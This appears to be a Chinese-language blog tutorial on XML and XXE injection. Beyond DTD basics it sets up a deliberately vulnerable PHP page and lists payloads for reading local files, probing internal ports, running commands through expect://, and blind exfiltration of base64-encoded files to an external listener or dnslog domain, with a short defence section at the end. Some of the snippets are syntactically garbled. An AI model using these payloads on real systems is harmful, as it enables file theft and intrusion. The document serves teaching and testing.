一,XML基础
eXtensible Markup Language (可扩展标记语言)
用途:
- 作配置文件
<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明 --> <a> <!-- 根元素 --> <display-name>xxl-job-executor-sample-spring</displayname> <b id=“name”></b> <!-- 子元素 --> </a>
- 交换数据——用于特殊通信
格式要求:
- XML文档必须有唯一根元素
- XML文档必须有关闭标签
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性必须加引号
XML格式校验——DTD
-
DTD(Document Type Definition)文档类型定义
-
DTD可以是独立文件,也可以在xml文档中声明
-
DTD内容——元素
<!DOCTYPE TranInfo[ <!ELEMENT TranInfo(CdtrInf,DbtrInf,Amt)> <!ELEMENT CdtrInf(Id,Nm)> <!ELEMENT DbtrInf(Id,Nm)> ]>
对应XML:
<?xml version="1.0" encoding="UTF-8"?> <TranInfo> <CdtrInf> <Id>01</Id><Nm>zhangsan</Nm> </CdtrInf> <DbtrInf> <Id>02</Id><Nm>lisi</Nm> </DbtrInf> <Amt>1000</Amt> </TranInfo>
-
DTD内容——内部实体
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name[ <!ELEMENT name ANY> <!ENTITY cs "beijing"> ]> <!-- 实体的使用 --> <people> <name>test</name> <area>&cs;</area> </people>
用浏览器打开得到对应XML:
<people> <name>test</name> <area>beijing</area> </people>
-
DTD内容——外部实体
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name[ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file://D:/test/test.dtd"> ]> <!-- 实体的使用 --> <people> <name>test</name> <area>&xxe;</area> </people>
外部实体引用协议:
- file:///etc//passwd
- php://filter/read=convert.base64-encode/resource=index.php
- http://
不同语言支持不同的协议,如果要支持某协议,需要安装扩展
-
完整的XML内容
<!-- xml声明部分--> <?xml version="1.0"?> <!-- 文档类型定义DTD--> <!DOCTYPE note[ <!ENTITY entity-name SYSTEM "URI/URL"> ]!> <!-- 文档元素--> <note> <><> <><> <><> </note>
二,什么是XXE
XML External Entity injection (XML外部实体注入)
XXE定义:如果web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
- 通过file协议读取解析指定文件,也可以读取解析其他敏感文件
<?xml version="1.0"?> <!DOCTYPE foo[ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///c:/test.dtd"> ]!> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
复现xxe漏洞:
-
搭建一个显示xxe的简单网站:
<head><meta charset=utf-8> <title>xxe测试</title> </head> <body> <form action='' method='post'>xml数据:<br> <textarea type="text" name="data"></textarea> <br><input type='submit' value='提交' name='sub'> </form> </body> <?php date_default_timezone_set("PRC"); if(!empty($_POST['sub'])){ $data= $_POST['data']; $xml = simplexml_load_string($data); print($xml); } ?>
-
使用payload
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///D://files/tv.txt">]><login>&xxe;</login>
-
复现失败可能是php版本不对,simplexml_load_string函数失效,改为php5.4.45nts版本即可
三,XXE利用方式
调用文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///D://files/tv.txt">]><login>&xxe;</login>
测试端口
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">]><login>&xxe;</login>
执行程序
<!-- 需要安装扩展-->
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "expect://ipconfig">]><login>&xxe;</login>
xxe炸弹
<!ENTITY xxe "file:///dev/random">]><login>&xxe;</login>
如何检测xxe漏洞:
-
在xml中加入能调用外部实体的代码,看看回显
POST /xxe-lab/php_xxe/doLogin.php HTTP/1.1
Host: 192.168.133.1
Content-Length: 132
Accept: application/xml, text/xml, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://192.168.133.1
Referer: http://192.168.133.1/xxe-lab/php_xxe/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///d:test.txt">]>
<user><username>123&xxe;
</username><password>3123</password></user> -
如果没有回显,则进行xxe的盲打-http接口参数,写入文件:
- 使用dnslog监听
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://wwwtest.aeagwg.dnslog.cn">%remote;]>
- 或者自己写一个接口
<?xml version="1.0"> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://域名/user.dtd"> ]>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.1.1:8080?p=%file;'>">
- 使用dnslog监听
四,XXE防御
- 禁用实体解析代码,防止解析外部实体
libxml_disable_entity_loader(true);
- 过滤用户提交的xml数据
’
"
<
>
]>
<!–
<! [CDATA[/]]> - 使用WAF过滤
五,playload–即拿即用
-
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY hacker "haha">]><name>&hacker;</name>
-
<?xml version="1.0"?><!DOCTYPE name [<!ENTITY xxe SYSTEM "file:///D:/files/tv.txt">]><name>&xxe;</name>